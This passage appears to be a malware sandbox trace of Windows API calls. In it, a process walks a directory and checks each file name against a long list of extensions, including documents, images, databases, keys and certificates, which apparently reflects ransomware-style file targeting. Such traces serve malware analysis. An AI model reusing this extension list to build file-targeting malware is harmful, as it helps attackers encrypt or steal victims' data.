lpString2=".DLL") returned -1 [0081.507] lstrlenW (lpString=".ai7") returned 4 [0081.507] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1 [0081.507] lstrlenW (lpString=".ai8") returned 4 [0081.507] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1 [0081.507] lstrlenW (lpString=".anim") returned 5 [0081.507] lstrcmpiW (lpString1=".anim", lpString2="7.DLL") returned -1 [0081.507] lstrlenW (lpString=".arw") returned 4 [0081.507] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1 [0081.507] lstrlenW (lpString=".as") returned 3 [0081.507] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1 [0081.507] lstrlenW (lpString=".asa") returned 4 [0081.507] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1 [0081.507] lstrlenW (lpString=".asc") returned 4 [0081.507] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1 [0081.507] lstrlenW (lpString=".ascx") returned 5 [0081.507] lstrcmpiW (lpString1=".ascx", lpString2="7.DLL") returned -1 [0081.507] lstrlenW (lpString=".asm") returned 4 [0081.507] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1 [0081.507] lstrlenW (lpString=".asmx") returned 5 [0081.507] lstrcmpiW (lpString1=".asmx", lpString2="7.DLL") returned -1 [0081.508] lstrlenW (lpString=".asp") returned 4 [0081.508] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1 [0081.508] lstrlenW (lpString=".aspx") returned 5 [0081.508] lstrcmpiW (lpString1=".aspx", lpString2="7.DLL") returned -1 [0081.508] lstrlenW (lpString=".asr") returned 4 [0081.508] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1 [0081.508] lstrlenW (lpString=".asx") returned 4 [0081.508] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1 [0081.508] lstrlenW (lpString=".avi") returned 4 [0081.508] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1 [0081.508] lstrlenW (lpString=".avs") returned 4 [0081.508] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1 [0081.508] lstrlenW (lpString=".backup") returned 7 [0081.508] lstrcmpiW (lpString1=".backup", lpString2="V97.DLL") returned -1 [0081.508] lstrlenW (lpString=".bak") returned 4 [0081.508] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1 [0081.508] lstrlenW (lpString=".bay") returned 4 [0081.508] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1 [0081.508] lstrlenW (lpString=".bd") returned 3 [0081.508] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1 [0081.508] lstrlenW (lpString=".bin") returned 4 [0081.508] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1 [0081.508] lstrlenW (lpString=".bmp") returned 4 [0081.508] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1 [0081.508] lstrlenW (lpString=".bz2") returned 4 [0081.508] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0081.508] lstrlenW (lpString=".c") returned 2 [0081.508] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1 [0081.509] lstrlenW (lpString=".cdr") returned 4 [0081.509] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1 [0081.509] lstrlenW (lpString=".cer") returned 4 [0081.509] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1 [0081.509] lstrlenW (lpString=".cf") returned 3 [0081.509] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1 [0081.509] lstrlenW (lpString=".cfc") returned 4 [0081.509] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1 [0081.509] lstrlenW (lpString=".cfm") returned 4 [0081.509] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1 [0081.509] lstrlenW (lpString=".cfml") returned 5 [0081.509] lstrcmpiW (lpString1=".cfml", lpString2="7.DLL") returned -1 [0081.509] lstrlenW (lpString=".cfu") returned 4 [0081.509] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1 [0081.509] lstrlenW (lpString=".chm") returned 4 [0081.509] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1 [0081.509] lstrlenW (lpString=".cin") returned 4 [0081.509] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1 [0081.509] lstrlenW (lpString=".class") returned 6 [0081.509] lstrcmpiW (lpString1=".class", lpString2="97.DLL") returned -1 [0081.510] lstrlenW (lpString=".clx") returned 4 [0081.510] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1 [0081.510] lstrlenW (lpString=".config") returned 7 [0081.510] lstrcmpiW (lpString1=".config", lpString2="V97.DLL") returned -1 [0081.510] lstrlenW (lpString=".cpp") returned 4 [0081.510] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1 [0081.510] lstrlenW (lpString=".cr2") returned 4 [0081.510] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1 [0081.510] lstrlenW (lpString=".crt") returned 4 [0081.510] lstrcmpiW (lpString1=".crt", lpString2=".DLL") returned -1 [0081.510] lstrlenW (lpString=".crw") returned 4 [0081.510] lstrcmpiW (lpString1=".crw", lpString2=".DLL") returned -1 [0081.510] lstrlenW (lpString=".cs") returned 3 [0081.510] lstrcmpiW (lpString1=".cs", lpString2="DLL") returned -1 [0081.510] lstrlenW (lpString=".css") returned 4 [0081.510] lstrcmpiW (lpString1=".css", lpString2=".DLL") returned -1 [0081.510] lstrlenW (lpString=".csv") returned 4 [0081.510] lstrcmpiW (lpString1=".csv", lpString2=".DLL") returned -1 [0081.510] lstrlenW (lpString=".cub") returned 4 [0081.510] lstrcmpiW (lpString1=".cub", lpString2=".DLL") returned -1 [0081.510] lstrlenW (lpString=".dae") returned 4 [0081.510] lstrcmpiW (lpString1=".dae", lpString2=".DLL") returned -1 [0081.510] lstrlenW (lpString=".dat") returned 4 [0081.510] lstrcmpiW (lpString1=".dat", lpString2=".DLL") returned -1 [0081.511] lstrlenW (lpString=".db") returned 3 [0081.511] lstrcmpiW (lpString1=".db", lpString2="DLL") returned -1 [0081.511] lstrlenW (lpString=".dbf") returned 4 [0081.511] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0081.511] lstrlenW (lpString=".dbx") returned 4 [0081.511] lstrcmpiW (lpString1=".dbx", lpString2=".DLL") returned -1 [0081.511] lstrlenW (lpString=".dc3") returned 4 [0081.511] lstrcmpiW (lpString1=".dc3", lpString2=".DLL") returned -1 [0081.511] lstrlenW (lpString=".dcm") returned 4 [0081.511] lstrcmpiW (lpString1=".dcm", lpString2=".DLL") returned -1 [0081.511] lstrlenW (lpString=".dcr") returned 4 [0081.511] lstrcmpiW (lpString1=".dcr", lpString2=".DLL") returned -1 [0081.511] lstrlenW (lpString=".der") returned 4 [0081.511] lstrcmpiW (lpString1=".der", lpString2=".DLL") returned -1 [0081.511] lstrlenW (lpString=".dib") returned 4 [0081.511] lstrcmpiW (lpString1=".dib", lpString2=".DLL") returned -1 [0081.511] lstrlenW (lpString=".dic") returned 4 [0081.511] lstrcmpiW (lpString1=".dic", lpString2=".DLL") returned -1 [0081.511] lstrlenW (lpString=".dif") returned 4 [0081.511] lstrcmpiW (lpString1=".dif", lpString2=".DLL") returned -1 [0081.511] lstrlenW (lpString=".divx") returned 5 [0081.511] lstrcmpiW (lpString1=".divx", lpString2="7.DLL") returned -1 [0081.511] lstrlenW (lpString=".djvu") returned 5 [0081.511] lstrcmpiW (lpString1=".djvu", lpString2="7.DLL") returned -1 [0081.511] lstrlenW (lpString=".dng") returned 4 [0081.511] lstrcmpiW (lpString1=".dng", lpString2=".DLL") returned 1 [0081.512] lstrlenW (lpString=".doc") returned 4 [0081.512] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0081.512] lstrlenW (lpString=".docm") returned 5 [0081.512] lstrcmpiW (lpString1=".docm", lpString2="7.DLL") returned -1 [0081.512] lstrlenW (lpString=".docx") returned 5 [0081.512] lstrcmpiW (lpString1=".docx", lpString2="7.DLL") returned -1 [0081.512] lstrlenW (lpString=".dot") returned 4 [0081.512] lstrcmpiW (lpString1=".dot", lpString2=".DLL") returned 1 [0081.512] lstrlenW (lpString=".dotm") returned 5 [0081.512] lstrcmpiW (lpString1=".dotm", lpString2="7.DLL") returned -1 [0081.512] lstrlenW (lpString=".dotx") returned 5 [0081.512] lstrcmpiW (lpString1=".dotx", lpString2="7.DLL") returned -1 [0081.512] lstrlenW (lpString=".dpx") returned 4 [0081.512] lstrcmpiW (lpString1=".dpx", lpString2=".DLL") returned 1 [0081.512] lstrlenW (lpString=".dqy") returned 4 [0081.512] lstrcmpiW (lpString1=".dqy", lpString2=".DLL") returned 1 [0081.512] lstrlenW (lpString=".dsn") returned 4 [0081.512] lstrcmpiW (lpString1=".dsn", lpString2=".DLL") returned 1 [0081.512] lstrlenW (lpString=".dt") returned 3 [0081.512] lstrcmpiW (lpString1=".dt", lpString2="DLL") returned -1 [0081.512] lstrlenW (lpString=".dtd") returned 4 [0081.512] lstrcmpiW (lpString1=".dtd", lpString2=".DLL") returned 1 [0081.512] lstrlenW (lpString=".dwg") returned 4 [0081.512] lstrcmpiW (lpString1=".dwg", lpString2=".DLL") returned 1 [0081.512] lstrlenW (lpString=".dwt") returned 4 [0081.512] lstrcmpiW (lpString1=".dwt", lpString2=".DLL") returned 1 [0081.512] lstrlenW (lpString=".dx") returned 3 [0081.512] lstrcmpiW (lpString1=".dx", lpString2="DLL") returned -1 [0081.513] lstrlenW (lpString=".dxf") returned 4 [0081.513] lstrcmpiW (lpString1=".dxf", lpString2=".DLL") returned 1 [0081.513] lstrlenW (lpString=".edml") returned 5 [0081.513] lstrcmpiW (lpString1=".edml", lpString2="7.DLL") returned -1 [0081.513] lstrlenW (lpString=".efd") returned 4 [0081.513] lstrcmpiW (lpString1=".efd", lpString2=".DLL") returned 1 [0081.513] lstrlenW (lpString=".elf") returned 4 [0081.513] lstrcmpiW (lpString1=".elf", lpString2=".DLL") returned 1 [0081.513] lstrlenW (lpString=".emf") returned 4 [0081.513] lstrcmpiW (lpString1=".emf", lpString2=".DLL") returned 1 [0081.513] lstrlenW (lpString=".emz") returned 4 [0081.513] lstrcmpiW (lpString1=".emz", lpString2=".DLL") returned 1 [0081.513] lstrlenW (lpString=".epf") returned 4 [0081.513] lstrcmpiW (lpString1=".epf", lpString2=".DLL") returned 1 [0081.513] lstrlenW (lpString=".eps") returned 4 [0081.513] lstrcmpiW (lpString1=".eps", lpString2=".DLL") returned 1 [0081.513] lstrlenW (lpString=".epsf") returned 5 [0081.513] lstrcmpiW (lpString1=".epsf", lpString2="7.DLL") returned -1 [0081.513] lstrlenW (lpString=".epsp") returned 5 [0081.513] lstrcmpiW (lpString1=".epsp", lpString2="7.DLL") returned -1 [0081.513] lstrlenW (lpString=".erf") returned 4 [0081.513] lstrcmpiW (lpString1=".erf", lpString2=".DLL") returned 1 [0081.513] lstrlenW (lpString=".exr") returned 4 [0081.513] lstrcmpiW (lpString1=".exr", lpString2=".DLL") returned 1 [0081.513] lstrlenW (lpString=".f4v") returned 4 [0081.513] lstrcmpiW (lpString1=".f4v", lpString2=".DLL") returned 1 [0081.514] lstrlenW (lpString=".fido") returned 5 [0081.514] lstrcmpiW (lpString1=".fido", lpString2="7.DLL") returned -1 [0081.514] lstrlenW (lpString=".flm") returned 4 [0081.514] lstrcmpiW (lpString1=".flm", lpString2=".DLL") returned 1 [0081.514] lstrlenW (lpString=".flv") returned 4 [0081.514] lstrcmpiW (lpString1=".flv", lpString2=".DLL") returned 1 [0081.514] lstrlenW (lpString=".frm") returned 4 [0081.514] lstrcmpiW (lpString1=".frm", lpString2=".DLL") returned 1 [0081.514] lstrlenW (lpString=".fxg") returned 4 [0081.514] lstrcmpiW (lpString1=".fxg", lpString2=".DLL") returned 1 [0081.514] lstrlenW (lpString=".geo") returned 4 [0081.514] lstrcmpiW (lpString1=".geo", lpString2=".DLL") returned 1 [0081.514] lstrlenW (lpString=".gif") returned 4 [0081.514] lstrcmpiW (lpString1=".gif", lpString2=".DLL") returned 1 [0081.514] lstrlenW (lpString=".grs") returned 4 [0081.514] lstrcmpiW (lpString1=".grs", lpString2=".DLL") returned 1 [0081.514] lstrlenW (lpString=".gz") returned 3 [0081.514] lstrcmpiW (lpString1=".gz", lpString2="DLL") returned -1 [0081.514] lstrlenW (lpString=".h") returned 2 [0081.514] lstrcmpiW (lpString1=".h", lpString2="LL") returned -1 [0081.514] lstrlenW (lpString=".hdr") returned 4 [0081.514] lstrcmpiW (lpString1=".hdr", lpString2=".DLL") returned 1 [0081.514] lstrlenW (lpString=".hpp") returned 4 [0081.514] lstrcmpiW (lpString1=".hpp", lpString2=".DLL") returned 1 [0081.514] lstrlenW (lpString=".hta") returned 4 [0081.514] lstrcmpiW (lpString1=".hta", lpString2=".DLL") returned 1 [0081.514] lstrlenW (lpString=".htc") returned 4 [0081.514] lstrcmpiW (lpString1=".htc", lpString2=".DLL") returned 1 [0081.514] lstrlenW (lpString=".htm") returned 4 [0081.514] lstrcmpiW (lpString1=".htm", lpString2=".DLL") returned 1 [0081.515] lstrlenW (lpString=".html") returned 5 [0081.515] lstrcmpiW (lpString1=".html", lpString2="7.DLL") returned -1 [0081.515] lstrlenW (lpString=".icb") returned 4 [0081.515] lstrcmpiW (lpString1=".icb", lpString2=".DLL") returned 1 [0081.515] lstrlenW (lpString=".ics") returned 4 [0081.515] lstrcmpiW (lpString1=".ics", lpString2=".DLL") returned 1 [0081.515] lstrlenW (lpString=".iff") returned 4 [0081.515] lstrcmpiW (lpString1=".iff", lpString2=".DLL") returned 1 [0081.515] lstrlenW (lpString=".inc") returned 4 [0081.515] lstrcmpiW (lpString1=".inc", lpString2=".DLL") returned 1 [0081.515] lstrlenW (lpString=".indd") returned 5 [0081.515] lstrcmpiW (lpString1=".indd", lpString2="7.DLL") returned -1 [0081.515] lstrlenW (lpString=".ini") returned 4 [0081.515] lstrcmpiW (lpString1=".ini", lpString2=".DLL") returned 1 [0081.515] lstrlenW (lpString=".iqy") returned 4 [0081.515] lstrcmpiW (lpString1=".iqy", lpString2=".DLL") returned 1 [0081.515] lstrlenW (lpString=".j2c") returned 4 [0081.515] lstrcmpiW (lpString1=".j2c", lpString2=".DLL") returned 1 [0081.515] lstrlenW (lpString=".j2k") returned 4 [0081.515] lstrcmpiW (lpString1=".j2k", lpString2=".DLL") returned 1 [0081.515] lstrlenW (lpString=".java") returned 5 [0081.515] lstrcmpiW (lpString1=".java", lpString2="7.DLL") returned -1 [0081.515] lstrlenW (lpString=".jp2") returned 4 [0081.515] lstrcmpiW (lpString1=".jp2", lpString2=".DLL") returned 1 [0081.515] lstrlenW (lpString=".jpc") returned 4 [0081.515] lstrcmpiW (lpString1=".jpc", lpString2=".DLL") returned 1 [0081.515] lstrlenW (lpString=".jpe") returned 4 [0081.515] lstrcmpiW (lpString1=".jpe", lpString2=".DLL") returned 1 [0081.515] lstrlenW (lpString=".jpeg") returned 5 [0081.515] lstrcmpiW (lpString1=".jpeg", lpString2="7.DLL") returned -1 [0081.515] lstrlenW (lpString=".jpf") returned 4 [0081.515] lstrcmpiW (lpString1=".jpf", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".jpg") returned 4 [0081.516] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".jpx") returned 4 [0081.516] lstrcmpiW (lpString1=".jpx", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".js") returned 3 [0081.516] lstrcmpiW (lpString1=".js", lpString2="DLL") returned -1 [0081.516] lstrlenW (lpString=".jsf") returned 4 [0081.516] lstrcmpiW (lpString1=".jsf", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".json") returned 5 [0081.516] lstrcmpiW (lpString1=".json", lpString2="7.DLL") returned -1 [0081.516] lstrlenW (lpString=".jsp") returned 4 [0081.516] lstrcmpiW (lpString1=".jsp", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".kdc") returned 4 [0081.516] lstrcmpiW (lpString1=".kdc", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".kmz") returned 4 [0081.516] lstrcmpiW (lpString1=".kmz", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".kwm") returned 4 [0081.516] lstrcmpiW (lpString1=".kwm", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".lasso") returned 6 [0081.516] lstrcmpiW (lpString1=".lasso", lpString2="97.DLL") returned -1 [0081.516] lstrlenW (lpString=".lbi") returned 4 [0081.516] lstrcmpiW (lpString1=".lbi", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".lgf") returned 4 [0081.516] lstrcmpiW (lpString1=".lgf", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".lgp") returned 4 [0081.516] lstrcmpiW (lpString1=".lgp", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".log") returned 4 [0081.516] lstrcmpiW (lpString1=".log", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".m1v") returned 4 [0081.516] lstrcmpiW (lpString1=".m1v", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".m4a") returned 4 [0081.516] lstrcmpiW (lpString1=".m4a", lpString2=".DLL") returned 1 [0081.516] lstrlenW (lpString=".m4v") returned 4 [0081.517] lstrcmpiW (lpString1=".m4v", lpString2=".DLL") returned 1 [0081.517] lstrlenW (lpString=".max") returned 4 [0081.517] lstrcmpiW (lpString1=".max", lpString2=".DLL") returned 1 [0081.517] lstrlenW (lpString=".md") returned 3 [0081.517] lstrcmpiW (lpString1=".md", lpString2="DLL") returned -1 [0081.517] lstrlenW (lpString=".mda") returned 4 [0081.517] lstrcmpiW (lpString1=".mda", lpString2=".DLL") returned 1 [0081.517] lstrlenW (lpString=".mdb") returned 4 [0081.517] lstrcmpiW (lpString1=".mdb", lpString2=".DLL") returned 1 [0081.517] lstrlenW (lpString=".mde") returned 4 [0081.517] lstrcmpiW (lpString1=".mde", lpString2=".DLL") returned 1 [0081.517] lstrlenW (lpString=".mdf") returned 4 [0081.517] lstrcmpiW (lpString1=".mdf", lpString2=".DLL") returned 1 [0081.517] lstrlenW (lpString=".mdw") returned 4 [0081.517] lstrcmpiW (lpString1=".mdw", lpString2=".DLL") returned 1 [0081.517] lstrlenW (lpString=".mef") returned 4 [0081.517] lstrcmpiW (lpString1=".mef", lpString2=".DLL") returned 1 [0081.517] lstrlenW (lpString=".mft") returned 4 [0081.517] lstrcmpiW (lpString1=".mft", lpString2=".DLL") returned 1 [0081.517] lstrlenW (lpString=".mfw") returned 4 [0081.517] lstrcmpiW (lpString1=".mfw", lpString2=".DLL") returned 1 [0081.517] lstrlenW (lpString=".mht") returned 4 [0081.518] lstrcmpiW (lpString1=".mht", lpString2=".DLL") returned 1 [0081.518] lstrlenW (lpString=".mhtml") returned 6 [0081.518] lstrcmpiW (lpString1=".mhtml", lpString2="97.DLL") returned -1 [0081.518] lstrlenW (lpString=".mka") returned 4 [0081.518] lstrcmpiW (lpString1=".mka", lpString2=".DLL") returned 1 [0081.518] lstrlenW (lpString=".mkidx") returned 6 [0081.518] lstrcmpiW (lpString1=".mkidx", lpString2="97.DLL") returned -1 [0081.518] lstrlenW (lpString=".mkv") returned 4 [0081.518] lstrcmpiW (lpString1=".mkv", lpString2=".DLL") returned 1 [0081.518] lstrlenW (lpString=".mos") returned 4 [0081.518] lstrcmpiW (lpString1=".mos", lpString2=".DLL") returned 1 [0081.518] lstrlenW (lpString=".mov") returned 4 [0081.518] lstrcmpiW (lpString1=".mov", lpString2=".DLL") returned 1 [0081.518] lstrlenW (lpString=".mp3") returned 4 [0081.518] lstrcmpiW (lpString1=".mp3", lpString2=".DLL") returned 1 [0081.518] lstrlenW (lpString=".mp4") returned 4 [0081.518] lstrcmpiW (lpString1=".mp4", lpString2=".DLL") returned 1 [0081.518] lstrlenW (lpString=".mpeg") returned 5 [0081.518] lstrcmpiW (lpString1=".mpeg", lpString2="7.DLL") returned -1 [0081.518] lstrlenW (lpString=".mpg") returned 4 [0081.518] lstrcmpiW (lpString1=".mpg", lpString2=".DLL") returned 1 [0081.518] lstrlenW (lpString=".mpv") returned 4 [0081.518] lstrcmpiW (lpString1=".mpv", lpString2=".DLL") returned 1 [0081.518] lstrlenW (lpString=".mrw") returned 4 [0081.518] lstrcmpiW (lpString1=".mrw", lpString2=".DLL") returned 1 [0081.518] lstrlenW (lpString=".msg") returned 4 [0081.518] lstrcmpiW (lpString1=".msg", lpString2=".DLL") returned 1 [0081.518] lstrlenW (lpString=".mxl") returned 4 [0081.518] lstrcmpiW (lpString1=".mxl", lpString2=".DLL") returned 1 [0081.518] lstrlenW (lpString=".myd") returned 4 [0081.518] lstrcmpiW (lpString1=".myd", lpString2=".DLL") returned 1 [0081.518] lstrlenW (lpString=".myi") returned 4 [0081.519] lstrcmpiW (lpString1=".myi", lpString2=".DLL") returned 1 [0081.519] lstrlenW (lpString=".nef") returned 4 [0081.519] lstrcmpiW (lpString1=".nef", lpString2=".DLL") returned 1 [0081.519] lstrlenW (lpString=".nrw") returned 4 [0081.519] lstrcmpiW (lpString1=".nrw", lpString2=".DLL") returned 1 [0081.519] lstrlenW (lpString=".obj") returned 4 [0081.519] lstrcmpiW (lpString1=".obj", lpString2=".DLL") returned 1 [0081.519] lstrlenW (lpString=".odb") returned 4 [0081.519] lstrcmpiW (lpString1=".odb", lpString2=".DLL") returned 1 [0081.519] lstrlenW (lpString=".odc") returned 4 [0081.519] lstrcmpiW (lpString1=".odc", lpString2=".DLL") returned 1 [0081.519] lstrlenW (lpString=".odm") returned 4 [0081.519] lstrcmpiW (lpString1=".odm", lpString2=".DLL") returned 1 [0081.519] lstrlenW (lpString=".odp") returned 4 [0081.519] lstrcmpiW (lpString1=".odp", lpString2=".DLL") returned 1 [0081.519] lstrlenW (lpString=".ods") returned 4 [0081.519] lstrcmpiW (lpString1=".ods", lpString2=".DLL") returned 1 [0081.519] lstrlenW (lpString=".oft") returned 4 [0081.519] lstrcmpiW (lpString1=".oft", lpString2=".DLL") returned 1 [0081.519] lstrlenW (lpString=".one") returned 4 [0081.519] lstrcmpiW (lpString1=".one", lpString2=".DLL") returned 1 [0081.519] lstrlenW (lpString=".onepkg") returned 7 [0081.519] lstrcmpiW (lpString1=".onepkg", lpString2="V97.DLL") returned -1 [0081.519] lstrlenW (lpString=".onetoc2") returned 8 [0081.519] lstrcmpiW (lpString1=".onetoc2", lpString2="NV97.DLL") returned -1 [0081.519] lstrlenW (lpString=".opt") returned 4 [0081.519] lstrcmpiW (lpString1=".opt", lpString2=".DLL") returned 1 [0081.519] lstrlenW (lpString=".oqy") returned 4 [0081.519] lstrcmpiW (lpString1=".oqy", lpString2=".DLL") returned 1 [0081.519] lstrlenW (lpString=".orf") returned 4 [0081.519] lstrcmpiW (lpString1=".orf", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".p12") returned 4 [0081.520] lstrcmpiW (lpString1=".p12", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".p7b") returned 4 [0081.520] lstrcmpiW (lpString1=".p7b", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".p7c") returned 4 [0081.520] lstrcmpiW (lpString1=".p7c", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".pam") returned 4 [0081.520] lstrcmpiW (lpString1=".pam", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".pbm") returned 4 [0081.520] lstrcmpiW (lpString1=".pbm", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".pct") returned 4 [0081.520] lstrcmpiW (lpString1=".pct", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".pcx") returned 4 [0081.520] lstrcmpiW (lpString1=".pcx", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".pdd") returned 4 [0081.520] lstrcmpiW (lpString1=".pdd", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".pdf") returned 4 [0081.520] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".pdp") returned 4 [0081.520] lstrcmpiW (lpString1=".pdp", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".pef") returned 4 [0081.520] lstrcmpiW (lpString1=".pef", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".pem") returned 4 [0081.520] lstrcmpiW (lpString1=".pem", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".pff") returned 4 [0081.520] lstrcmpiW (lpString1=".pff", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".pfm") returned 4 [0081.520] lstrcmpiW (lpString1=".pfm", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".pfx") returned 4 [0081.520] lstrcmpiW (lpString1=".pfx", lpString2=".DLL") returned 1 [0081.520] lstrlenW (lpString=".pgm") returned 4 [0081.521] lstrcmpiW (lpString1=".pgm", lpString2=".DLL") returned 1 [0081.521] lstrlenW (lpString=".php") returned 4 [0081.521] lstrcmpiW (lpString1=".php", lpString2=".DLL") returned 1 [0081.521] lstrlenW (lpString=".php3") returned 5 [0081.521] lstrcmpiW (lpString1=".php3", lpString2="7.DLL") returned -1 [0081.521] lstrlenW (lpString=".php4") returned 5 [0081.521] lstrcmpiW (lpString1=".php4", lpString2="7.DLL") returned -1 [0081.521] lstrlenW (lpString=".php5") returned 5 [0081.521] lstrcmpiW (lpString1=".php5", lpString2="7.DLL") returned -1 [0081.521] lstrlenW (lpString=".phtml") returned 6 [0081.521] lstrcmpiW (lpString1=".phtml", lpString2="97.DLL") returned -1 [0081.521] lstrlenW (lpString=".pict") returned 5 [0081.521] lstrcmpiW (lpString1=".pict", lpString2="7.DLL") returned -1 [0081.521] lstrlenW (lpString=".pl") returned 3 [0081.521] lstrcmpiW (lpString1=".pl", lpString2="DLL") returned -1 [0081.521] lstrlenW (lpString=".pls") returned 4 [0081.521] lstrcmpiW (lpString1=".pls", lpString2=".DLL") returned 1 [0081.521] lstrlenW (lpString=".pm") returned 3 [0081.521] lstrcmpiW (lpString1=".pm", lpString2="DLL") returned -1 [0081.521] lstrlenW (lpString=".png") returned 4 [0081.521] lstrcmpiW (lpString1=".png", lpString2=".DLL") returned 1 [0081.521] lstrlenW (lpString=".pnm") returned 4 [0081.521] lstrcmpiW (lpString1=".pnm", lpString2=".DLL") returned 1 [0081.521] lstrlenW (lpString=".pot") returned 4 [0081.521] lstrcmpiW (lpString1=".pot", lpString2=".DLL") returned 1 [0081.521] lstrlenW (lpString=".potm") returned 5 [0081.521] lstrcmpiW (lpString1=".potm", lpString2="7.DLL") returned -1 [0081.521] lstrlenW (lpString=".potx") returned 5 [0081.521] lstrcmpiW (lpString1=".potx", lpString2="7.DLL") returned -1 [0081.521] lstrlenW (lpString=".ppa") returned 4 [0081.521] lstrcmpiW (lpString1=".ppa", lpString2=".DLL") returned 1 [0081.521] lstrlenW (lpString=".ppam") returned 5 [0081.522] lstrcmpiW (lpString1=".ppam", lpString2="7.DLL") returned -1 [0081.522] lstrlenW (lpString=".ppm") returned 4 [0081.522] lstrcmpiW (lpString1=".ppm", lpString2=".DLL") returned 1 [0081.522] lstrlenW (lpString=".pps") returned 4 [0081.522] lstrcmpiW (lpString1=".pps", lpString2=".DLL") returned 1 [0081.522] lstrlenW (lpString=".ppsm") returned 5 [0081.522] lstrcmpiW (lpString1=".ppsm", lpString2="7.DLL") returned -1 [0081.522] lstrlenW (lpString=".ppt") returned 4 [0081.522] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0081.522] lstrlenW (lpString=".pptm") returned 5 [0081.522] lstrcmpiW (lpString1=".pptm", lpString2="7.DLL") returned -1 [0081.522] lstrlenW (lpString=".pptx") returned 5 [0081.522] lstrcmpiW (lpString1=".pptx", lpString2="7.DLL") returned -1 [0081.522] lstrlenW (lpString=".prn") returned 4 [0081.522] lstrcmpiW (lpString1=".prn", lpString2=".DLL") returned 1 [0081.522] lstrlenW (lpString=".ps") returned 3 [0081.522] lstrcmpiW (lpString1=".ps", lpString2="DLL") returned -1 [0081.522] lstrlenW (lpString=".psb") returned 4 [0081.522] lstrcmpiW (lpString1=".psb", lpString2=".DLL") returned 1 [0081.522] lstrlenW (lpString=".psd") returned 4 [0081.522] lstrcmpiW (lpString1=".psd", lpString2=".DLL") returned 1 [0081.522] lstrlenW (lpString=".pst") returned 4 [0081.522] lstrcmpiW (lpString1=".pst", lpString2=".DLL") returned 1 [0081.522] lstrlenW (lpString=".ptx") returned 4 [0081.522] lstrcmpiW (lpString1=".ptx", lpString2=".DLL") returned 1 [0081.523] lstrlenW (lpString=".pub") returned 4 [0081.523] lstrcmpiW (lpString1=".pub", lpString2=".DLL") returned 1 [0081.523] lstrlenW (lpString=".pwm") returned 4 [0081.523] lstrcmpiW (lpString1=".pwm", lpString2=".DLL") returned 1 [0081.523] lstrlenW (lpString=".pxr") returned 4 [0081.523] lstrcmpiW (lpString1=".pxr", lpString2=".DLL") returned 1 [0081.531] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 